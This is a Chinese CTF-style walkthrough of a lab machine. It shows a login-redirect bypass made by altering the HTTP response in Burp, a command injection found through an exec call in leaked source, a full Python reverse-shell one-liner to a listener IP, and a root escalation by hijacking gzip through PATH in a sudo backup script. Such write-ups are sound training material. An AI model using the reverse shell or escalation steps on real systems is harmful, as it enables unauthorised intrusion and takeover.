0x01 信息收集
端口信息:
目录扫描:
0x02 打靶
在之前的收集信息中,可以发现有很多存在的页面,但是由于重定向跳回了login.php进行登录验证。
我们使用burp可以渲染页面,可以看到很多页面是有有用的信息的。
账户注册界面:
服务器状态浏览界面:
在文件浏览界面可以发现网站的源码:
也可以发现下载的链接,但是访问会跳回login.php
进行登录验证,无奈只能先注册账户。
访问一开始的accounts.php
,同时让burp拦截响应,将响应包状态码修改成200 OK
:
之后便可以添加账号:
之后以该账号登录,访问files.php
,就可以将源码下下来了:
0x03 代码审计
在config.php
中可以看到数据库连接的凭据:
在conifg.php
中可以发现exec
函数直接拼接了参数,可以造成命令执行:
0x04 继续打靶
使用简单的命令拼接即可,这里弹个shell:
python2 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.86.131",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
这里有个坑点,hash中有特殊字符,必须使用在linux环境下才能正确拿到。windows下拿到的是不完整的,拿去解hash会报错
在linux环境下能够正常显示(为Emoji
拿去给hashcat爆破,爆破出密码:
登录成功:
0x04 提权
使用命令
sudo -l
可以看到有备份脚本:
查看该脚本,可以使用了gzip命令,我们可以使用自己的gzip命令来替换,从而达到提权的效果:
于是新建文件:
vim gzip
这里有位老哥和我一样的想法2333,于是借用了一下他的代码,我的是下面那一行:
之后添加环境变量,使得执行脚本时会先找到我们的gzip
:
export PATH=$( pwd ):$PATH
之后执行命令即可:
sudo /opt/scripts/access_backup.sh